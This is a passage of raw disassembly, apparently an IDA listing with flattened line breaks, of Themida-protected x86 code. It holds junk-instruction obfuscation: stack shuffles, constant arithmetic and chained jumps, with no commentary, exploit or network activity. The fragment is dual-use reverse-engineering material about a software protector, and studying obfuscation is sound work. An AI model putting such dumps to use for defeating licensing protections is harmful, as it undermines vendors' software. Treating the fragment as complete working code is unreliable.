Themida_:005A9BEEj push 4828h mov [esp], edi jmp loc_5A565D ; --------------------------------------------------------------------------- loc_5A614C: ; CODE XREF: Themida_:0059EDC8j jmp loc_5A9EAE ; --------------------------------------------------------------------------- loc_5A6151: ; CODE XREF: Themida_:005AC23Dj pop ecx jmp loc_5AAA14 ; --------------------------------------------------------------------------- loc_5A6157: ; CODE XREF: Themida_:005A38F2j pop eax jmp loc_5A84E6 ; --------------------------------------------------------------------------- loc_5A615D: ; CODE XREF: Themida_:005999FDj mov [esp], edx mov dh, 0Eh inc dh shl dh, 3 jmp loc_5A15FD ; --------------------------------------------------------------------------- loc_5A616C: ; CODE XREF: Themida_:005A9D52j sub esp, 4 mov [esp], ebx jmp loc_5A86F6 ; --------------------------------------------------------------------------- loc_5A6177: ; CODE XREF: Themida_:005A75DDj mov edi, 4 jmp loc_598554 ; --------------------------------------------------------------------------- loc_5A6181: ; CODE XREF: Themida_:005A584Cj xchg edx, [esp] jmp loc_598578 ; --------------------------------------------------------------------------- loc_5A6189: ; CODE XREF: Themida_:loc_59E4E5j sub esp, 4 mov [esp], ebx jmp loc_5A49D9 ; --------------------------------------------------------------------------- loc_5A6194: ; CODE XREF: Themida_:00599B53j ; Themida_:005ADDE2j inc ebp dec ebp and ebp, 72BE4115h push 50C4h jmp loc_5ABCFE ; --------------------------------------------------------------------------- loc_5A61A6: ; CODE XREF: Themida_:0059EADBj xor dl, 0A9h shl dl, 6 push ax mov al, 2Fh jmp loc_599AB5 ; --------------------------------------------------------------------------- loc_5A61B5: ; CODE XREF: Themida_:005A024Aj add [esp+4], edi jmp loc_5AB419 ; --------------------------------------------------------------------------- loc_5A61BE: ; CODE XREF: Themida_:005A412Aj mov ecx, [esp] add esp, 4 add edx, 2 push edx push dword ptr [esp+4] jmp loc_5A3620 ; --------------------------------------------------------------------------- loc_5A61D4: ; CODE XREF: Themida_:005A79FBj pop ebx xor eax, ebp pop ebp push eax add dword ptr [esp], 418F645Dh pop esi jmp loc_5AA6E7 ; --------------------------------------------------------------------------- loc_5A61E6: ; CODE XREF: Themida_:0059C172j ; Themida_:005A18BCj add esp, 4 add ebx, edi pop edi sub esp, 4 jmp loc_59F87B ; --------------------------------------------------------------------------- loc_5A61F7: ; CODE XREF: Themida_:0059E02Cj add eax, 4 push ecx jmp loc_59960E ; --------------------------------------------------------------------------- loc_5A6202: ; CODE XREF: Themida_:005A7DF4j pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push 3423h mov [esp], ebp jmp loc_5985F6 ; --------------------------------------------------------------------------- loc_5A6223: ; CODE XREF: Themida_:loc_599407j push eax push ecx jmp loc_599B5E ; --------------------------------------------------------------------------- loc_5A622A: ; CODE XREF: Themida_:005A53B0j push 5E01h jmp loc_5AC602 ; --------------------------------------------------------------------------- loc_5A6234: ; CODE XREF: Themida_:005A77FAj pop ecx sub bl, al sub bl, 0D6h jmp loc_59D74C ; --------------------------------------------------------------------------- loc_5A623F: ; CODE XREF: Themida_:005AEB25j push eax jmp loc_5A1E1F ; --------------------------------------------------------------------------- loc_5A6245: ; CODE XREF: Themida_:0059C1ADj and ecx, 3AFB3689h jmp loc_59A0BF ; --------------------------------------------------------------------------- loc_5A6250: ; CODE XREF: Themida_:005A6EB3j add edx, 4 push ebx jmp loc_5A39BA ; --------------------------------------------------------------------------- loc_5A625C: ; CODE XREF: Themida_:005A7757j jb loc_5AB1C0 jmp loc_5A9909 ; --------------------------------------------------------------------------- loc_5A6267: ; CODE XREF: Themida_:005AD7EEj push eax jmp loc_5995D6 ; --------------------------------------------------------------------------- loc_5A626D: ; CODE XREF: Themida_:005ABB9Ej mov ecx, [esp] jmp loc_5ADD5C ; --------------------------------------------------------------------------- loc_5A6275: ; CODE XREF: Themida_:0059EB90j mov ebx, [esp] jmp loc_5A769C ; --------------------------------------------------------------------------- loc_5A627D: ; CODE XREF: Themida_:005A74B4j sub esp, 4 jmp loc_5A46E1 ; --------------------------------------------------------------------------- loc_5A6285: ; CODE XREF: Themida_:005A1667j or cl, 58h add cl, 6Ah xor cl, 5Fh sub dl, cl pop ecx add ah, dl jmp loc_5A0033 ; --------------------------------------------------------------------------- loc_5A6298: ; CODE XREF: Themida_:005A460Bj add ebp, 2 xor ebp, [esp] jmp loc_59D763 ; --------------------------------------------------------------------------- loc_5A62A3: ; CODE XREF: Themida_:005A4AB7j mov [esp], edi push ecx jmp loc_5ACF5A ; --------------------------------------------------------------------------- loc_5A62AC: ; CODE XREF: Themida_:00599A3Bj mov eax, [esp] add esp, 4 or eax, 462234B9h sub eax, 2F1C24D1h jmp loc_5AB9B0 ; --------------------------------------------------------------------------- loc_5A62C1: ; CODE XREF: Themida_:005A1DF4j pop ecx jmp loc_59FCEA ; --------------------------------------------------------------------------- loc_5A62C7: ; CODE XREF: Themida_:005A1B7Aj ; Themida_:005A74EDj sub ebx, 0EBB5082h jmp loc_5A0DF8 ; --------------------------------------------------------------------------- loc_5A62D2: ; CODE XREF: Themida_:0059C121j ; Themida_:005A850Fj add esp, 4 jmp loc_5A0837 ; --------------------------------------------------------------------------- loc_5A62DA: ; CODE XREF: Themida_:005AED12j mov eax, ebx mov ebx, [esp] jmp loc_59ECF4 ; --------------------------------------------------------------------------- loc_5A62E4: ; CODE XREF: Themida_:005AA71Cj push ebp mov ebp, 1A233121h mov eax, ebp jmp loc_5A40A4 ; --------------------------------------------------------------------------- loc_5A62F1: ; CODE XREF: Themida_:005AAB63j mov [esp], ebx mov ebx, 533713B4h add ebp, ebx pop ebx add edx, 7733893h jmp loc_5A6AD7 ; --------------------------------------------------------------------------- loc_5A6307: ; CODE XREF: Themida_:005AC499j and [esp], eax pushf jmp loc_5ABD3E ; --------------------------------------------------------------------------- loc_5A6310: ; CODE XREF: Themida_:0059851Ej ; Themida_:00599ED1j push 14FCh mov [esp], ebp push 0A29h mov [esp], eax mov eax, 61770B2Ah push eax mov eax, 667B6A0Eh jmp loc_5A6C0D ; --------------------------------------------------------------------------- loc_5A6330: ; CODE XREF: Themida_:005A4C31j add ecx, 17077594h jb loc_5A44F2 and ecx, 60A75FCDh jmp loc_5A161B ; --------------------------------------------------------------------------- loc_5A6347: ; CODE XREF: Themida_:loc_5A07E6j jmp loc_5AC60B ; --------------------------------------------------------------------------- loc_5A634C: ; CODE XREF: Themida_:005AA97Aj xor [esp], edx xor edx, [esp] jmp loc_5AF4A2 ; --------------------------------------------------------------------------- loc_5A6357: ; CODE XREF: Themida_:005ADA98j mov dl, 0A8h push eax jmp loc_5A4938 ; --------------------------------------------------------------------------- loc_5A635F: ; CODE XREF: Themida_:005A2536j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor eax, [esp] xor [esp], eax jmp loc_5A5CF7 ; --------------------------------------------------------------------------- loc_5A637A: ; CODE XREF: Themida_:0059B074j pop ecx push ebp jmp loc_5A4EC3 ; --------------------------------------------------------------------------- loc_5A6381: ; CODE XREF: Themida_:005A91FEj add esp, 4 neg dh inc dh sub dh, 3Fh sub cl, dh jmp loc_59DF97 ; --------------------------------------------------------------------------- loc_5A6392: ; CODE XREF: Themida_:0059B8F0j mov [esp], ecx jmp loc_5A3AD8 ; --------------------------------------------------------------------------- loc_5A639A: ; CODE XREF: Themida_:005A6110j mov esp, [esp] mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A63A6: ; CODE XREF: Themida_:005A5ACCj pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_59F305 ; --------------------------------------------------------------------------- loc_5A63B5: ; CODE XREF: Themida_:005AC0A9j dec ebp add ebp, 3C701333h jmp loc_5A5DAB ; --------------------------------------------------------------------------- loc_5A63C1: ; CODE XREF: Themida_:005A9CD6j jnz loc_59DFFE dec ebp jnp loc_5A7D86 push ecx mov ecx, 3AB0DC03h loc_5A63D4: ; CODE XREF: Themida_:005A9B26j sub eax, 0EDF6B7h add edx, eax pop eax push eax mov eax, 5DF95234h not eax jmp loc_5A9CBE ; --------------------------------------------------------------------------- loc_5A63E9: ; CODE XREF: Themida_:005A2760j mov ecx, [esp] add esp, 4 push edi mov edi, 787B0B2Bh jmp loc_5ABB3D ; --------------------------------------------------------------------------- loc_5A63FA: ; CODE XREF: Themida_:005AF093j push dword ptr [esp] pop eax add esp, 4 jmp loc_5A5D1F ; --------------------------------------------------------------------------- loc_5A6406: ; CODE XREF: Themida_:005AEF90j mov ecx, ebx jmp loc_59B501 ; --------------------------------------------------------------------------- loc_5A640D: ; CODE XREF: Themida_:005A924Ej push edx push 7Dh mov [esp], esp add dword ptr [esp], 4 pop edx push ebx push 2A98h mov [esp], edx mov edx, 65320F66h mov ebx, 65320F6Ah add ebx, 48245955h sub ebx, edx sub ebx, 48245955h pop edx add edx, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], esi push ebx mov ebx, 4073246Dh jmp loc_5A4B06 ; --------------------------------------------------------------------------- loc_5A6459: ; CODE XREF: Themida_:005AC300j mov cl, 0A8h jmp loc_5A4EB0 ; --------------------------------------------------------------------------- loc_5A6460: ; CODE XREF: Themida_:0059E39Aj push ecx mov ecx, 2AA94F75h add esi, ecx pop ecx add esi, ebx jmp loc_59FE8E ; --------------------------------------------------------------------------- loc_5A6470: ; CODE XREF: Themida_:0059F6C4j ; Themida_:005ADE11j add eax, 97B635CAh or esi, eax pop eax xor esi, 447C4946h push edx jmp loc_599C1C ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_59BBC3 ; --------------------------------------------------------------------------- loc_5A6493: ; CODE XREF: Themida_:005AF1BFj shl esi, 4 jmp loc_5A914D ; --------------------------------------------------------------------------- loc_5A649B: ; CODE XREF: Themida_:005A5817j pop eax push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A2E93 ; --------------------------------------------------------------------------- loc_5A64B0: ; CODE XREF: Themida_:0059DE92j neg eax js loc_59A9DC shr eax, 4 jp loc_59A5B2 shr eax, 3 jnz loc_5AAD55 jmp loc_5A3947 ; --------------------------------------------------------------------------- push ebp mov cl, ch mov ch, 0ECh loc_5A64D4: ; CODE XREF: Themida_:005A1AE0j push 7AEBh jmp loc_5A279B ; --------------------------------------------------------------------------- loc_5A64DE: ; CODE XREF: Themida_:0059EECDj pop esp jmp loc_5A26F7 ; --------------------------------------------------------------------------- loc_5A64E4: ; CODE XREF: Themida_:005A1D7Bj mov esp, [esp] mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A64F0: ; CODE XREF: Themida_:005A2818j xor ebp, 3299EFB1h sub ebx, 4CAF4F3Ch jmp loc_5A9701 ; --------------------------------------------------------------------------- loc_5A6501: ; CODE XREF: Themida_:005AD211j push dword ptr [esp] push dword ptr [esp] jmp loc_5A5417 ; --------------------------------------------------------------------------- loc_5A650C: ; CODE XREF: Themida_:0059B7E9j ; Themida_:0059DFC7j push dword ptr [esp] pop esi add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] pop bx add al, 76h sub al, dh jmp loc_59B1F1 ; --------------------------------------------------------------------------- loc_5A652D: ; CODE XREF: Themida_:005A2A2Dj mov [esp], edx push 2 pop edx add ebx, 305A543Bh add ebx, edx sub ebx, 305A543Bh jmp loc_5A7856 ; --------------------------------------------------------------------------- loc_5A6549: ; CODE XREF: Themida_:005AB8EBj pop ecx push edx jmp loc_5A3996 ; --------------------------------------------------------------------------- loc_5A6550: ; CODE XREF: Themida_:005ABB90j add bl, 7 pop dx pop eax sub esp, 2 jmp loc_5AE445 ; --------------------------------------------------------------------------- loc_5A6561: ; CODE XREF: Themida_:005A3088j pop edi not esi sub esi, 137B9040h mov edx, esi pop esi push ebp mov ebp, 337A1F28h jmp loc_5997A2 ; --------------------------------------------------------------------------- loc_5A6578: ; CODE XREF: Themida_:0059E05Fj mov eax, [esp] add esp, 4 push ecx jmp loc_5A1BFA ; --------------------------------------------------------------------------- loc_5A6584: ; CODE XREF: Themida_:0059A4F9j ; Themida_:loc_59B198j mov edx, [esp] add esp, 4 push esi mov esi, 5E225E0h jmp loc_59DDA0 ; --------------------------------------------------------------------------- loc_5A6595: ; CODE XREF: Themida_:0059BA7Fj ; Themida_:0059C4BFj jnp loc_5AA946 sub ebp, 754A18A9h jmp loc_59FB06 ; --------------------------------------------------------------------------- loc_5A65A6: ; CODE XREF: Themida_:0059897Ej neg eax add eax, 8430C06Dh mov edi, eax pop eax add ecx, 5DF60ACAh add ecx, edi sub ecx, 5DF60ACAh mov edi, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push eax push edx mov edx, 556C091Dh jmp loc_5AC042 ; --------------------------------------------------------------------------- loc_5A65D9: ; CODE XREF: Themida_:005ABBD7j inc edx jg loc_5A0EB8 add edx, 56D002BBh jmp loc_5A4B7E ; --------------------------------------------------------------------------- loc_5A65EB: ; CODE XREF: Themida_:005A2C61j ; Themida_:loc_5A3225j mov ebp, 6EA8753Eh add [esp+8], ebp pop ebp pop eax pop eax push 668Ch mov [esp], ecx mov ecx, 3F6F0241h add eax, ecx jmp loc_5AEFDE ; --------------------------------------------------------------------------- loc_5A660B: ; CODE XREF: Themida_:00599F33j mov [esp], eax push 47A21E9Dh jmp loc_5ACCD5 ; --------------------------------------------------------------------------- loc_5A6618: ; CODE XREF: Themida_:0059F8F4j add esp, 4 jmp loc_59BE9F ; --------------------------------------------------------------------------- loc_5A6623: ; CODE XREF: Themida_:0059A62Ej push small word ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A663A: ; CODE XREF: Themida_:005AB5C1j mov [esp], ecx mov ecx, 22201663h shl ecx, 3 dec ecx jle loc_5993AC dec ecx jl loc_59A03A jmp loc_5997D7 ; --------------------------------------------------------------------------- loc_5A6658: ; CODE XREF: Themida_:005A3D22j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edi push ecx jmp loc_59A0DA ; --------------------------------------------------------------------------- loc_5A6677: ; CODE XREF: Themida_:0059C38Fj dec ebp xchg eax, ebp sub eax, 0FC22CDD4h add esi, eax mov eax, [esp] add esp, 4 add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59B223 ; --------------------------------------------------------------------------- loc_5A669B: ; CODE XREF: Themida_:005A3B57j add esp, 4 push 209Ch mov [esp], ebp sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebp push ecx jmp loc_5996BE ; --------------------------------------------------------------------------- loc_5A66BB: ; CODE XREF: Themida_:005A5E3Fj pop ebx jmp loc_59B146 ; --------------------------------------------------------------------------- loc_5A66C1: ; CODE XREF: Themida_:0059DCADj and ebp, esi push dword ptr [esp] pop esi push edi push esp pop edi add edi, 4 jmp loc_5AF151 ; --------------------------------------------------------------------------- loc_5A66D5: ; CODE XREF: Themida_:005A7A30j sub eax, 0CF448420h xor ebp, eax jmp loc_5A8197 ; --------------------------------------------------------------------------- mov ax, [esp] push 185Dh mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], eax jmp loc_5AE47A ; --------------------------------------------------------------------------- loc_5A66FD: ; CODE XREF: Themida_:0059BC7Cj push ebp mov ebp, esp push ebp push esp pop ebp add ebp, 4 push ebx jmp loc_5A46A4 ; --------------------------------------------------------------------------- loc_5A670F: ; CODE XREF: Themida_:005AE533j jmp loc_59838C ; --------------------------------------------------------------------------- mov cx, [esp] push esi jmp loc_5AA248 ; --------------------------------------------------------------------------- loc_5A671E: ; CODE XREF: Themida_:00598F3Ej shl edi, 6 xor edi, 7155B059h xor eax, edi jmp loc_5A8F8A ; --------------------------------------------------------------------------- loc_5A672E: ; CODE XREF: Themida_:loc_59C133j xor ebx, 187B5BD3h mov ebp, ebx pop ebx jmp loc_5AD9EC ; --------------------------------------------------------------------------- loc_5A673C: ; CODE XREF: Themida_:005A3A34j add esp, 4 sub ecx, esi add ecx, 52A00D56h push eax mov eax, 0F7E7FB8h sub eax, 4AAA0B07h or eax, 3A5508C2h dec eax inc eax add eax, 6C0EFCFEh jmp loc_5A73B4 ; --------------------------------------------------------------------------- loc_5A6763: ; CODE XREF: Themida_:005A8A43j mov ax, [esp] jmp loc_5AD72A ; --------------------------------------------------------------------------- loc_5A676C: ; CODE XREF: Themida_:005A7AA4j mov ebx, esp add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] jmp loc_5A3339 ; --------------------------------------------------------------------------- loc_5A6787: ; CODE XREF: Themida_:005AE15Fj add esp, 4 push 3FA3h mov [esp], edx mov dh, bl mov [edi+eax*4+1], dh jmp loc_5A399C ; --------------------------------------------------------------------------- loc_5A67A0: ; CODE XREF: Themida_:0059C9B1j ; Themida_:0059F68Bj xor ecx, 5F6F0FFBh jmp loc_599982 ; --------------------------------------------------------------------------- loc_5A67AB: ; CODE XREF: Themida_:loc_598F13j jmp loc_5A438B ; --------------------------------------------------------------------------- loc_5A67B0: ; CODE XREF: Themida_:0059A4D7j mov edi, 0FFFFFFFFh add ecx, edi pop edi push edi mov edi, 17F625D7h xor edi, 508F2EC6h add ecx, edi mov edi, [esp] add esp, 4 jmp loc_5AE135 ; --------------------------------------------------------------------------- loc_5A67D4: ; CODE XREF: Themida_:005ABD9Cj add esi, 1AFC3C81h jmp loc_5AA1E6 ; --------------------------------------------------------------------------- loc_5A67DF: ; CODE XREF: Themida_:005A8D03j shl dh, 6 neg dh sub dh, 6Eh push eax mov al, dh jmp loc_5AC64C ; --------------------------------------------------------------------------- loc_5A67EF: ; CODE XREF: Themida_:005A371Fj push edx mov edx, esp add edx, 4 jmp loc_5AEBF0 ; --------------------------------------------------------------------------- loc_5A67FD: ; CODE XREF: Themida_:0059E235j mov edx, [esp] jmp loc_5ACFBA ; --------------------------------------------------------------------------- loc_5A6805: ; CODE XREF: Themida_:005A9A68j mov edi, 1AEC7EA0h push 2B7FA1B5h pop eax add eax, edi mov edi, [esp] add esp, 4 mov ebx, eax mov eax, [esp] jmp loc_599FEB ; --------------------------------------------------------------------------- loc_5A6822: ; CODE XREF: Themida_:005AEA5Ej neg ecx sub ecx, 3FE78514h jmp loc_5ADA23 ; --------------------------------------------------------------------------- loc_5A682F: ; CODE XREF: Themida_:005A9515j add cl, dl pop edx sub al, 0CCh add al, 0D1h sub al, 3Fh jmp loc_5A1A97 ; --------------------------------------------------------------------------- loc_5A683D: ; CODE XREF: Themida_:0059B75Dj xor ebx, edx jmp loc_5A4821 ; --------------------------------------------------------------------------- loc_5A6844: ; CODE XREF: Themida_:005A4EB3j sub cl, 72h add dl, cl pop ecx sub dl, 24h sub dl, 68h add dl, cl add dl, 68h add dl, 24h sub dl, 70h jmp loc_5A9111 ; --------------------------------------------------------------------------- loc_5A6860: ; CODE XREF: Themida_:005A7B83j xchg ebp, [esp] jmp loc_59C5A8 ; --------------------------------------------------------------------------- loc_5A6868: ; CODE XREF: Themida_:005A3889j mul ecx push 76BDh mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_59954C ; --------------------------------------------------------------------------- loc_5A688E: ; CODE XREF: Themida_:005AB796j sub dword ptr [esp+4], 69D567A5h add [esp+4], edx push eax mov eax, 69D567A5h jmp loc_599555 ; --------------------------------------------------------------------------- loc_5A68A5: ; CODE XREF: Themida_:005A1808j mov edx, 794D6018h jmp loc_59CBF5 ; --------------------------------------------------------------------------- loc_5A68AF: ; CODE XREF: Themida_:0059D54Ej mov ecx, esi pop esi add ebx, ecx pop ecx jmp loc_5AA648 ; --------------------------------------------------------------------------- loc_5A68BA: ; CODE XREF: Themida_:0059DF87j push edi xor dword ptr [esp], 236729BCh pop ebx xor ebx, 236729BCh mov edi, [esp] add esp, 4 add ebx, edx mov [ebx], al mov ebx, [esp] add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop ebx jmp loc_59D0C1 ; --------------------------------------------------------------------------- loc_5A68F8: ; CODE XREF: Themida_:005A8B00j pop ecx and dl, 8Fh xor dl, 62h mov bh, dl mov edx, [esp] add esp, 4 xor al, bh jmp loc_59E932 ; --------------------------------------------------------------------------- loc_5A6911: ; CODE XREF: Themida_:005A9EB7j jmp loc_5988F1 ; --------------------------------------------------------------------------- loc_5A6916: ; CODE XREF: Themida_:loc_5A9B95j jmp loc_5A9CD0 ; --------------------------------------------------------------------------- loc_5A691B: ; CODE XREF: Themida_:005A9A29j add ecx, edx add dword ptr [ecx], 1 pop ecx pop edx jmp loc_5990A9 ; --------------------------------------------------------------------------- loc_5A692A: ; CODE XREF: Themida_:0059DE42j add edx, 45626E6Fh pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push esi mov esi, esp push edi jmp loc_59E93B ; --------------------------------------------------------------------------- loc_5A6946: ; CODE XREF: Themida_:005ACBD8j push ebx mov bl, 89h mov ch, 0E4h add ch, bl jmp loc_599F44 ; --------------------------------------------------------------------------- loc_5A6952: ; CODE XREF: Themida_:loc_5A96D5j xor eax, 6ABF3E62h mov esi, eax push dword ptr [esp] pop eax jmp loc_5A3AFB ; --------------------------------------------------------------------------- loc_5A6962: ; CODE XREF: Themida_:005AEF57j xor edx, 2DD67E54h mov eax, edx jmp loc_59F194 ; --------------------------------------------------------------------------- loc_5A696F: ; CODE XREF: Themida_:005A1E5Cj pop ecx jmp loc_599185 ; --------------------------------------------------------------------------- loc_5A6975: ; CODE XREF: Themida_:0059B708j ; Themida_:005A1537j neg eax jmp loc_59D3EE ; --------------------------------------------------------------------------- loc_5A697C: ; CODE XREF: Themida_:005AB3F0j add ebx, edi sub ebx, 47ED53A3h mov edi, [esp] add esp, 4 xor ebx, edx xor edx, ebx jmp loc_59D3A9 ; --------------------------------------------------------------------------- loc_5A6993: ; CODE XREF: Themida_:005AE185j sub edi, 22F2765Eh add edi, ebp add edi, 22F2765Eh pop ebp sub esp, 4 mov [esp], ecx mov ecx, 2 push eax mov eax, 60D41C9h xor eax, 6E812701h jmp loc_59AEBB ; --------------------------------------------------------------------------- loc_5A69C0: ; CODE XREF: Themida_:005A8C3Aj mov esi, 4 add eax, esi mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_5A6D2E ; --------------------------------------------------------------------------- loc_5A69D8: ; CODE XREF: Themida_:00598898j ; Themida_:00599D0Dj jmp loc_5AABB3 ; --------------------------------------------------------------------------- loc_5A69DD: ; CODE XREF: Themida_:005AEA66j add edx, 4 add edx, 4 xchg edx, [esp] pop esp dec cl jmp loc_5A7094 ; --------------------------------------------------------------------------- loc_5A69F4: ; CODE XREF: Themida_:005AD387j pop ecx shr eax, 6 shr eax, 2 jmp loc_5A7536 ; --------------------------------------------------------------------------- loc_5A6A00: ; CODE XREF: Themida_:005AE9FEj push 4663h mov [esp], ecx push 2 jmp loc_59BC39 ; --------------------------------------------------------------------------- loc_5A6A12: ; CODE XREF: Themida_:005A1111j pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A6A18: ; CODE XREF: Themida_:0059B5BFj xor ecx, 59158BCh add eax, ecx jmp loc_5A0B30 ; --------------------------------------------------------------------------- loc_5A6A25: ; CODE XREF: Themida_:0059D927j ; Themida_:005A7884j sub edi, ebp jmp loc_5A6A4D ; --------------------------------------------------------------------------- loc_5A6A2C: ; CODE XREF: Themida_:0059E926j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5A42C6 ; --------------------------------------------------------------------------- loc_5A6A3E: ; CODE XREF: Themida_:0059A86Dj pop esp mov [esp], ebx mov ebx, 44222552h push ecx jmp loc_5A79C1 ; --------------------------------------------------------------------------- loc_5A6A4D: ; CODE XREF: Themida_:005A6A27j sub edi, 122D5E05h pop ebp add edi, 3D6E12A5h jmp loc_59FB83 ; --------------------------------------------------------------------------- loc_5A6A5F: ; CODE XREF: Themida_:0059C9C0j mov edx, eax mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop edi xor esi, edx push dword ptr [esp] pop edx push edi mov edi, esp jmp loc_5A374E ; --------------------------------------------------------------------------- loc_5A6A86: ; CODE XREF: Themida_:005ACC73j mov eax, esp add eax, 4 jmp loc_5A13F9 ; --------------------------------------------------------------------------- loc_5A6A92: ; CODE XREF: Themida_:005A3DE9j add ebp, 4 xchg ebp, [esp] jmp loc_59F2BB ; --------------------------------------------------------------------------- loc_5A6A9D: ; CODE XREF: Themida_:005A00EEj push dword ptr [esp] pop ecx jmp loc_5A974E ; --------------------------------------------------------------------------- loc_5A6AA6: ; CODE XREF: Themida_:005A1031j pop eax jmp loc_5A977A ; --------------------------------------------------------------------------- loc_5A6AAC: ; CODE XREF: Themida_:0059BD34j sub esi, ebp add esi, 1A85B64h pop ebp mov edx, esi mov esi, [esp] add esp, 4 not edx jmp loc_5AA97F ; --------------------------------------------------------------------------- loc_5A6AC4: ; CODE XREF: Themida_:0059F680j add edx, 31B00592h add edx, eax sub edx, 31B00592h jmp loc_598D18 ; --------------------------------------------------------------------------- loc_5A6AD7: ; CODE XREF: Themida_:005A6302j sub edx, ebp push esi mov esi, 7733893h jmp loc_59D147 ; --------------------------------------------------------------------------- loc_5A6AE4: ; CODE XREF: Themida_:0059BFE8j shr edx, 8 jp loc_5A8AC7 push ecx jmp loc_5AB20C ; --------------------------------------------------------------------------- loc_5A6AF3: ; CODE XREF: Themida_:0059DDDAj ; Themida_:005A236Aj push 6751h jmp loc_5A3D1C ; --------------------------------------------------------------------------- loc_5A6AFD: ; CODE XREF: Themida_:005A841Dj push ecx push 4C320F12h pop ecx jmp loc_5A3B46 ; --------------------------------------------------------------------------- loc_5A6B09: ; CODE XREF: Themida_:0059EE8Dj xchg edi, ecx sub ecx, 18562EE4h jmp loc_598CC4 ; --------------------------------------------------------------------------- loc_5A6B16: ; CODE XREF: Themida_:005A3852j add ebx, eax pop eax dec ebx jle loc_5A3D82 add ebx, 0F5A70B16h push edi mov edi, ebx mov eax, edi mov edi, [esp] jmp loc_5AB996 ; --------------------------------------------------------------------------- loc_5A6B33: ; CODE XREF: Themida_:0059E833j pop dword ptr [esp] mov esp, [esp] jmp loc_59EAF6 ; --------------------------------------------------------------------------- loc_5A6B3E: ; CODE XREF: Themida_:0059DCE5j mov [esp], edx jmp loc_5A5DF1 ; --------------------------------------------------------------------------- loc_5A6B46: ; CODE XREF: Themida_:005AE977j sub ebx, ebp jmp loc_5A0938 ; --------------------------------------------------------------------------- loc_5A6B4D: ; CODE XREF: Themida_:005A7D0Bj xor ecx, [esp] xor [esp], ecx jmp loc_5A3A05 ; --------------------------------------------------------------------------- loc_5A6B58: ; CODE XREF: Themida_:005A2D88j add cl, 0F8h add cl, dh push ebx jmp loc_5A53B5 ; --------------------------------------------------------------------------- loc_5A6B63: ; CODE XREF: Themida_:005A09B5j push dword ptr [esp] pop edx add esp, 4 and eax, ecx pop ecx push dword ptr [edi+1Ch] jmp loc_59AAFA ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A7951 ; --------------------------------------------------------------------------- loc_5A6B7E: ; CODE XREF: Themida_:005A427Bj add ebp, esi jmp loc_5A766C ; --------------------------------------------------------------------------- loc_5A6B85: ; CODE XREF: Themida_:0059A677j ; Themida_:0059CA71j ... push edx push 5EE1151Ah pop edx sub edx, 702F4B2Fh jnz loc_59D31C xor edx, 0EEB1C9E9h jmp loc_59CC81 ; --------------------------------------------------------------------------- pop edi loc_5A6BA4: ; CODE XREF: Themida_:005A390Dj xor eax, ecx push 8Fh jmp loc_59E387 ; --------------------------------------------------------------------------- loc_5A6BB0: ; CODE XREF: Themida_:loc_5AB6EEj xor edx, 4A9E9949h push 6660h jmp loc_59DB55 ; --------------------------------------------------------------------------- loc_5A6BC0: ; CODE XREF: Themida_:005ADB9Aj add esp, 4 jmp loc_5A2081 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5AE9D9 ; --------------------------------------------------------------------------- loc_5A6BD4: ; CODE XREF: Themida_:005A0FFCj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_5A3CBB ; --------------------------------------------------------------------------- loc_5A6BE5: ; CODE XREF: Themida_:0059D69Bj mov edx, 7A860A0Bh shr edx, 5 or edx, 7B6D1E4Fh shr edx, 1 sub edx, 0FFFFFFFFh neg edx add edx, 0A031A6ABh add esi, edx push dword ptr [esp] jmp loc_5A4954 ; --------------------------------------------------------------------------- loc_5A6C0D: ; CODE XREF: Themida_:005A632Bj shl eax, 2 jmp loc_5A9D85 ; --------------------------------------------------------------------------- loc_5A6C15: ; CODE XREF: Themida_:005AB406j add edi, ebx pop ebx jmp loc_5A0231 ; --------------------------------------------------------------------------- loc_5A6C1D: ; CODE XREF: Themida_:0059FADCj add esp, 4 jmp loc_5A7021 ; --------------------------------------------------------------------------- loc_5A6C25: ; CODE XREF: Themida_:005A870Ej sub al, dh jmp loc_5A3E3B ; --------------------------------------------------------------------------- loc_5A6C2C: ; CODE XREF: Themida_:005A3434j jnp loc_5A9FB0 and esi, 397391Bh jmp loc_59E41D ; --------------------------------------------------------------------------- loc_5A6C3D: ; CODE XREF: Themida_:loc_59E850j jmp loc_5A87BE ; --------------------------------------------------------------------------- loc_5A6C42: ; CODE XREF: Themida_:005A4EF2j mov [esp], ebx push ebx mov ebx, 0C15190Eh and ebx, 2A5A10D1h jmp loc_5AAD9E ; --------------------------------------------------------------------------- loc_5A6C56: ; CODE XREF: Themida_:loc_59A979j ; Themida_:005A3E7Aj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push edi push 0F241726h pop edi xor edi, 0F241722h push ebx push 7E2h 